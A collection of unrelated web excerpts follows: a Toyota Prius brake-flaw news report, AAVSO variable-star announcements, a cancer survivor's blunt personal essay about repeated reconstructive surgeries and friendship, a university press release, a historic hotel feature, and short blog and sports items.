Radar Online caught up with Justin Chon at his sneaker & apparel store, Attic, in Buena Park, CA. In the video Justin talks about his love for acting, fashion, and also shows fans his tattoo! If you don't live in the area, you can check out his store online.


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Toyota discovered a design flaw in the 2010 Hybrid Prius months ago, the company said this morning.
The anti-lock brake-system problem, which required a software change to fix, was corrected in all versions of the company's prized, fuel-efficient car sold since late last month. Toyota also said it would expand its investigation to all of its hybrid models.
Hours later in Washington, federal safety investigators announced they were opening a formal investigation of the Toyota Prius "to look into allegations of braking capability while traveling over an uneven road surface, pothole or bump."
The Office of Defects Investigation, which is part of the National Highway Traffic Safety Administration, said it had reports of problems from 124 Prius owners, including four reports that the problem led to crashes. Investigators have already spoken with the drivers involved, according to the Department of Transportation.
The company is now trying to figure out how to inform customers, many whom bought their cars last year, about the fix.
After owners filed claims across North America and Japan, Toyota representatives said, the company began an investigation.
"We found the cause is in the ABS [anti-lock braking] system," Toyota spokeswoman Ririko Takeuchi said.
Toyota denied charges that it withheld the defect information from the public.
"We get daily claims from dealers and our customers on various troubles," Managing Officer Hiroyuki Yokoyama said as translated at today's news conference here. "We attend to each case by seeking what the problem is and we come up with a remedial plan to improve the quality and to guarantee the quality. That is what we did in January."
Officials stood firm when pressed further about why the company didn't go public with this information sooner.
"I personally think, like I said before," Yokoyama said, "that we try to improve the quality on a daily basis. We would promptly make public announcements to our customers on cases that are decided to be recalled or that need special services."
Toyota Defends Its Response
The decision on a possible recall for Prius -- the third-generation model made here in Japan -- is being investigated.
"Both the ministry and Toyota will do investigations independently," Land, Infrastructure, Transport and Tourism Minister Seiji Maehara said Wednesday. "We will decide if a recall should be considered after the investigation."
This announcement adds to a growing list of problems for Toyota, as it faces its largest recall ever.
Toyota officials defend their handling of the situation.
"In regards to transparency," Yokoyama said, "people say a lot of things but when we are faced with problems, we address them with maximum effort for a prompt response."
Toyota's stock price dropped about 5 percent after the market opened here this morning.
Miki Toda contributed to this report.


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The American Association of Variable Star Observers (AAVSO) and the British Astronomical Association Variable Star Section (BAAVSS) are pleased to announce that the variable star observation archive of the BAAVSS is now available through the website of the AAVSO. The BAAVSS archives comprise over 2.5 million variable star observations made mostly by amateur astronomers world-wide over the past 150 years. These data now join the archives of the AAVSO in the AAVSO International Database, which consists of over 25 million variable star observations made by observe
Variable Stars and the Stories They Tell:
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The term "sunspot" appears in the news, often in connection with stories on aurorae, electrical outages, and problems with orbiting satellites. But often these stories don't really explain what sunspots are and why they're of interest to us on Earth. So what are sunspots?
The AAVSO's volunteer-driven project to digitize paper archives of variable star observations is moving forward, and there have been some exciting developments over the past few months that deserve to be mentioned. Here, I'll summarize some of the happenings in this project, and talk about some of the issues that have arisen at AAVSO and among the volunteers.
November 5, 2010: We have been informed by Tim Puckett and by the Central Bureau for Astronomical Telegrams (CBET 2532, Daniel W. E. Green, Ed.) of the discovery of a bright possible supernova in UGC 5189A by J. Newton and Puckett, Portal, AZ, on November 3.52 UT at unfiltered magnitude 13.5. Confirming images (limiting magnitude 19.1) by Puckett on Nov. 4.50 UT showed the object at magnitude 12.9./p>
November 2, 2010: As reported by Tim Parson (Circle Pines, Minnesota, USA) and confirmed by Pavol Dubovsky (Kolonica, Slovakia), the infrequently-outbursting dwarf nova HT Cas is in outburst. Parson observed HT Cas in outburst at m(vis)=12.9 on JD 2455502.93 (2010 November 2.43), and the outburst was confirmed by Dubovsky at m(vis)=12.4 on JD 2455503.3 (2010 November 2.8). The last confirmed well-observed outburst of this star occurred on 2008 January 10. Observations of this variable are strongly encouraged at this time. Both visual and CCD observations are en
AAVSO staff members frequently give talks and present posters on the AAVSO, its activities and its mission. The list of presentations below is a partial compilation of talks and papers given by AAVSO staff over the past several years.
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Drama Queen?!?! I'm a F*cking Super Hero Bitch!
June 2010
By the middle of last month, I had HAD IT. It had been three years since I started my tour of duty in CancerLand. The only way Greg and I kept our sanity, is... we've always been convinced we'd be out the other side in two months. "Only two more months, Babe." In fact, I'm two months from being done as I write this. We weren't counting on the Chemo almost killing me, swelling my hands until my fingernails split and popped off. We didn't expect the Christmas Eve Infection that set us back a year. I didn't know Everyone Would Fall Away. At any rate, I had HAD IT. Then, at 8:15P on a Friday, the phone rang. Greg and I were already laying in bed watching TV, fighting to keep our eyes open. The combination of house remodel, surgery recovery, and owning our own business, means we wake up exhausted. I listened to the voice mail the next morning. It was Missy's boyfriend. "Hey, We're meeting Liz and Sam at 9:00 at Park for drinks and dinner. Hope you can meet us there." That was the last straw. I pulled out my laptop and started typing an email to my two oldest friends, Missy (grade school) and Liz (college). My fingers flew, and I hit Send even as Greg advised me to Save As Draft and give it a day.
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"If either of you had bothered to keep in touch you would know that I'm still bed-ridden with draining tubes and a wound in my stomach so deep that has to be packed full of gauze soaked in BLEACH solution 3 times a day. You know, just Fuck You Both. I have been stuck in bed since March 15. Flowers? No. Cards? No. Phone Call? No. Can I bring dinner? Take you to dr. appt.? Take your mind off of being in bed for SEVEN FUCKING WEEKS? Even KNOW I've been in bed for 7 weeks? I love you but, Where Are You? I have had my issues over the years and maybe I'm too much of an energy drain. I don't know. I do know that I feel like I have been abandoned by both of you to the point that a last minute dinner invitation is just pouring salt in the wound. And I have enough wounds right now thank you very much. Missy, I drove 9 hours for a 10 minute hospital visit when your son was born. Liz, It was Greg who watched the obituaries every day when your father-in-law was sick because he wanted to make sure Sam knew we cared about him. I have had an entire new Fabulous Wardrobe sent in for my Fabulous New Body and was sad that I didn't want to call either one of you. Boo."
They send emails reminding me they did call in the first days. Sorry, but those drug filled days are a blur. When I didn't call back, they thought I wanted space. They are busy, with children and complicated lives of their own. I send a "that's not good enough" message back.
A few days pass, and a ridiculously large bouquet, and a cheese basket, arrive from Missy. We talk, there are apologies on both sides and much love. Greg and I meet her, and her guy, for breakfast. She is Missy, my chosen childhood Sister, the buoy through the rough seas of youth, and all will always be forgiven.
Liz left a voice mail. "I just got your Fuck You Very Much email. I think you're in a funk." There is more to it than that, but I am blind with hurt and rage. "A Funk?!?" I scream to an empty house. "A Fucking Funk?" Back to the email. "Dear Liz Shove your Funk UP YOUR ASS!" Her response translates to: "I can't do this via email. I love you. You know I love you. I know, you know, I love you." I ignore this. She sends a card with a note that makes me laugh, and reminds me that you have to love Liz for Liz. We meet for dinner.
I can tell when I arrive that Liz is still back on her heels. I've touched a nerve, calling her out as a shitty friend. The conversation is friendly, but not comfortable. Half way through the bottle of wine she begins, (paraphrasing), "Fuck. You've had so many surgeries. How am I supposed to know which are the big ones and which are the little ones? It pisses me off that you're putting yourself through this. I have two other friends who have had double mastectomies and reconstruction in the last six months, and they are fine now. I think you have to consider the fact that maybe you Don't Want to Heal. Your self-esteem is so low, maybe you don't feel like you deserve to be healthy. Fuck! It just pisses me off because you have OPTIONS, but it seems like you're addicted to surgery. I feel like you're being a Drama Queen."
Processing....processing.... Am I hearing this right? She thinks I WANT THIS? Even on a subconscious level, the accusation is appalling. Drama Queen?!? I am speechless. Finally, I ask, "What options? What are you talking about?" "Come on! You can't tell me none of the surgeries weren't optional." "OK, Liz. Let's run them down. You tell me which surgeries were optional." "Go." Says Liz.
Surgery #1. Double Mastectomy. Liz grees that was not optional.
Surgery #2. Double Oophorectomy. My cancer fed on estrogen so the ovaries had to go too. (It's called Medical Menopause and it is a MOTHER FUCKER when you can't have hormone therapy.) Again, Liz concedes this to be necesary.
Surgery #3. Skin Expander Insertion. My breasts were DDD. There was so much skin available, reconstruction was expected to be a breeze. Liz says that while not technically necessary, she'll give me this one because she probably would have done the same thing.
Surgery #4. Expander Removal/Implant Insertion. She'll give me that one too.
Surgery #5. Christmas Morning Emergency Surgery due to breast pocket infection received in the hospital, during
Surgery #4. Left implant is removed. Not a lot of Option there. Surgery or Death.
Surgery #6. Expander insertion on the left side. Liz is iffy on this. Maybe I should have just stopped then. "OK. I've got one healthy breast implant on the right side, and the results look good. I'm flat on the other side, due to a freak hospital infection. What do I do? Be lopsided? No. To be even, either an implant has to go in, or an implant has to come out." Liz says she would have made the same decision at that point.
#7. Expander removed, implant inserted. Liz nods.
Things go terribly wrong after I'm wheeled out of recovery. I'm in mind crushing pain and am overdosed on morphine. I am floating in and out of consciousness. I go into a morphine induced coma. They can't find a vein to give me the antidote to the morphine. My left arm is off limits to needles due to lymphnodes removal during Surgery #1. Tapping a vein in my right arm is tough in the best of circumstances. It is impossible when the nurse has forgotten to remove the fully inflated blood pressure cuff from my right bicep. "I'm having a heart attack." I tell Greg. They have pushed a button. Made an announcement. Shouted a code. Doctors are rushing in from everywhere. Greg is standing by my side holding my hand. My mother is crying in a corner. The doctors are in a circle, frantically flipping through a pamphlet. They can't find a vein. They start on my feet. "Not between my toes!" I scream. Jab. Jab. Jab. No luck. "Greg. Greg. I'm having a heart attack." "No you're not Baby. You're going to be okay. You're going to be okay. I love you." They punch the needle into a vein in my neck. The blood pressure cuff leaves a tribal tattoo looking bruise that lasts for months. I am rushed back in for....
Surgery #8. Hematoma removal. Also, surgeon notices implant is damaged and replaces it. Liz doesn't have much to say about that one.
Surgery #9. Nipples are skin-grafted on, and my "dog ears" are trimmed. "Dog ears" are the flaps of extra skin that have been hanging off my sides for fifteen months. (You know a male surgeon came up with that term.) Liz is shaking her head. This must come under optional. Technically, it was optional I guess. I didn't care about the nipples, the Barbie look was fine with both Greg and I by that time. The dog ears had to go though, for my mental and emotional health. So I say: Not Optional.
The results of Surgery Number Nine were Beyond Hideous. I could tell by the horrified look on Greg's face when the bandages came off, that something had gone Terribly Wrong. The left "breast" was offside. Way offside and uneven to the other one. And the nipples made me laugh out loud, after I got over the shock of realizing that's what they were supposed to be.
A brief aside about Nipples: Eventhough mine have been gone three years, I still have that "nipping out" feeling when there's a cold breeze, and automatically cross my arms in front of my chest. Phantom Nipples. After my first surgery, I had two fifty-cent size holes in my chest. Every day, when I stepped out of the shower, I had to press my hands up against my bruised skin, and push water out of those holes. It was the most dreaded part, of even my hardest days. The memory makes me shudder even now. I was so dissociated with my body, that I had been pushing water out of those holes every day for two months, when a comment from Greg made me throw up. His comment was innocuous, but so traumatic, I've forgotten what it was. Whatever he said, suddenly, in an instant, I realized the holes I was pushing water out of were WHERE MY NIPPLES USED TO BE. Beat. Pause. I am sorry Nipples, that I did not appreciate you when you were parts of me. I am grateful to you for helping me make a fat, happy, baby for the first four months of his life. Thank You.
Back at my Surgery Number Nine post-op visit, one my new "nipples" is huge, and pointing straight ahead. The other, is half its size, not quite round, and pointing across the room and up to my armpit. It looks like my chest has a bad case of Lazy Eye. Months of complications, heavy antibiotics, tests, and fluid drainings follow. (If I had a dime for every hour I've spent in waiting rooms... I could make a dent in my medical bills.) After several very bad weeks, I lost faith in my surgeon. I saw many doctors, with no answers. Finally, one of them found their balls, and referred me to a specialist out of my Health Network. I meet with one of the best breast surgeons in the country. He tells me the skin on the left breast is damaged and dying. It has to go. There is not enough healthy skin to patch me up after they remove the implant, even if I choose to stay flat on that side. A major skin graft is required.
"I'm going to ask you to do something embarrassing." says Super Breast Cancer Surgeon. I stand up, face the exam table, lean over, and grab the edge. He stands behind me, reaches around, and grabs two hands full of stomach fat. "Why did you choose implants instead of using stomach fat?" he asks. My God. "I didn't know that was an option." "An excellent option." says Super Breast Cancer Surgeon. We have to harvest the skin anyway, and you have the Perfect Stomach for it." (Did you catch that? Someone said I had the Perfect Stomach!) He asks me if I would be interested in removing the implant that's left, having a tummy tuck, and using the fat and skin from my stomach to make new, even, boobs. "See, that's optional!" Says Liz. Some of it, yes. But I had to have a major skin graft. Why not make the best of it? It's a Tummy Tuck!
Surgery #10. An Angel/Genius of a Plastic Surgeon, Dr. Jennifer Murphy, performs a thirteen hour Double TRAM Flap surgery. She harvests the skin carefully, painstakinly saving veins to connect at the transplant site. I emerge from ICU five days later with even, naturally shaped, breasts, created out of my previously hated stomach fat. This is my favorite body out of all of them. Dr. Murphy is My Hero. Greg's too.
I have one more surgery to go. I'm foregoing nipples, but Dr. Murphy wants to do some clean up work around all the major surgical sites. Nothing too invasive. Liz thinks I should wait at least five years before going under the knife again. I feel her love for me. I see her bafflement, and fear. She wants me to stop. Wait. Heal. Mostly, she doesn't want to imagine herself in a world without Options. There are always Options. Until there aren't. Just best guesses, crossed fingers, and silent prayers. I understand, Liz. I do. But I need to be done. I want to move on. I want to walk off of the CancerLand Battlefield a Victorious Warrior, and Never Look Back. Not Optional.
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Clarkson University's Legault Delivers Plenary Address at International Self-Determination Theory Conference
Clarkson University Assistant Professor of Psychology Lisa Legault recently delivered an invited plenary address at the Fifth International Self-Determination Theory Conference in Rochester, N.Y.
She was invited to open the conference with a session on "New Directions in Basic Self-Determination Science." Legault was recognized with this honor due to her latest research linking different motivational states to specific brain processes that are related to task performance.
In her talk, Legault described her research on the role of motivational orientation in predicting how people respond to performance errors, and thereby regulate their behavior.
Her research suggests that when motivation for a given task is autonomous and internally-driven, rather than externally pressured or coerced, people not only perform better, but also show enhanced neural sensitivity to their errors (measured using electroencephalography), which is related to error reduction. Her research extends self-determination theory by suggesting that autonomous motivation promotes heightened distress responses to failures, which improves subsequent goal regulation.
The international conference attracted 700 attendees from 38 countries -- all motivation researchers and practitioners studying the role of self-determination in various life domains, including health, sports, education, environmental behavior, and relationships.
The international conference takes place every three years in various international locations, this year returning to the birthplace of self-determination theory -- Rochester.
Clarkson University launches leaders into the global economy. One in five alumni already leads as a CEO, VP or equivalent senior executive of a company. Located just outside the Adirondack Park in Potsdam, N.Y., Clarkson is a nationally recognized research university for undergraduates with select graduate programs in signature areas of academic excellence directed toward the world's pressing issues. Through 50 rigorous programs of study in engineering, business, arts, sciences and health sciences, the entire learning-living community spans boundaries across disciplines, nations and cultures to build powers of observation, challenge the status quo, and connect discovery and engineering innovation with enterprise.
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NEW CASTLE — Even though industry experts say a hotel's ability to meet market demand influences success far more than the property's historic charm, officials at a 137-year-old Seacoast resort don't discredit the impact of their building's rich past.
Since it was built in 1874, the Wentworth by the Sea has been a temporary home to countless guests, dignitaries, writers, actors and others that have helped elevate the iconic architecture to local landmark status on the Granite State's coastline.
The hotel, located off Route 1B, also has tried to maintain a high level of homey hospitality along with its destination feel, something current General Manager Frank Wetenkamp said has much to do with the Wentworth's lofty international rankings and praise.
"It's just really what it's all about for us — to be a one-of-a-kind guest experience," he said. "She deserves it. We take great pride in keeping her in the best possible condition and maintaining the history of the building."
Eerie ghost stories and colorful tales about pop culture legends filing the building's air with their music and even louder personalities also adds to the allure of the turreted, 161-room structure, although Wetenkamp said one important contributor to the Wentworth's popularity is that it's just one of 10 grand hotels left in the country.
The style — which University of New Hampshire hospitality expert Carl Linblade said is marked by high ceilings, columns and extraordinary decor and architecture, with service to match— is slowly vanishing because of the cost to maintain old infrastructure and compete against modern hotels and their amenities, said Wetenkamp.
All of these things have placed the building in special standing in the hearts of Seacoast residents, said Wetenkamp — so much so that a group of 500 individuals, led by �toile Holzaepfel, helped save the building from demolition in the 1990s and ultimately helped end about 20 years of disuse and disrepair during the Wentworth's darkest days.
Wetenkamp said the work of the Friends of the Wentworth was the main reason why the hotel reopened in 2003 and why developers spent $30 million in the first place to renovate a grand hotel so it could exist in today's hospitality world.
He said the Friends story also adds greatly to the charm of the building because thanks to them, the building has been woven into the cultural fabric of the area and been elevated to a prominent place among the world's elite hotels.
A lot has changed over the years for the Wentworth by the Sea to be among that elite while having "the feeling of an antique hotel without being an antique hotel," said Wetenkamp, and more work is expected in the future to maintain that.
Wetenkamp said his staff hopes many of the in-progress and planned updates, like overhauls to the hotel's spa, will help the hotel continue to provide modern amenities without erasing the link to the past, which was the main goal when Ocean Properties Ltd. reopened Wentworth by the Sea.
"Our vision was to create a world-class destination on the Seacoast of New Hampshire that matched the history and grandeur of the hotel," said Wetenkamp. "I think we've gotten pretty close, and now we have to stay there. It's harder to stay there than it is to get there.
"But, she's alive and going strong. Now that she's back, I'm convinced she'll be here for another 100 years. We just want our time in history to be one of the highlights."
Property's historic charm a helping factor in success
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During the week in Spain I have been doing some 7b and 7cs onsight just to get into the flow of climbing again, but I was also keen to see just how far away from recovering my form on harder routes. So I tried an 8c called Malsonando at Gandia.
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Lovely Blog Award
I'm only about a week late, but [as they say] better late than never! Janine at Janinealogy graciously awarded me [or rather my blog] the "Lovely Blog Award"! As a special thank you, I created this design. In keeping with the stipulations that are attached to winning this award, the 7 blogs that I'd like to recognize [and encourage you to read] are the following:
- Jo at Wibbling Jo's Genealogy Blog
- Earline at To My Descendants
- Putting the Family Puzzle Together
- Holly at Raeburn Family Odyssey
- Diana at Random Relatives
- Karen at The Graphics Fairy
- Patty at Autumn's Meadow
Now all that you [the reader] needs to do is check out their blogs when you get a chance. The recipients of the award need to choose 7 blogs to recommend and pay it forward!
Have You Checked These Out?
Earlier this week I [finally] introduced one of my companion blogs, "Texas Family Stories". Also, I have another companion blog called "Family Stories in Stone". I'm still "tinkering" with them, but do go & check them out...Later today I will be posting my Friday Name Post, so don't fret. This particular post was a bonus!


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Strasburg's gem wasted; Brewers top Nationals 4-0
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- Stephen Strasburg had hitters flailing at curveballs for seven scoreless innings Tuesday night, getting all eight of his strikeouts with the same pitch in a magnificent outing that was wasted when the Milwaukee Brewers scored off the Washington Nationals bullpen for a 4-0 victory. Strasburg put on a gem of performance that dropped his ERA to 2.24 and nearly overshadowed the game's actual outcome. Once again, the Nationals' bats abandoned him, and Juan Francisco's two-run double in the eighth started a scoring spree off Drew Storen (2-2) as the Brewers snapped a six-game losing streak.
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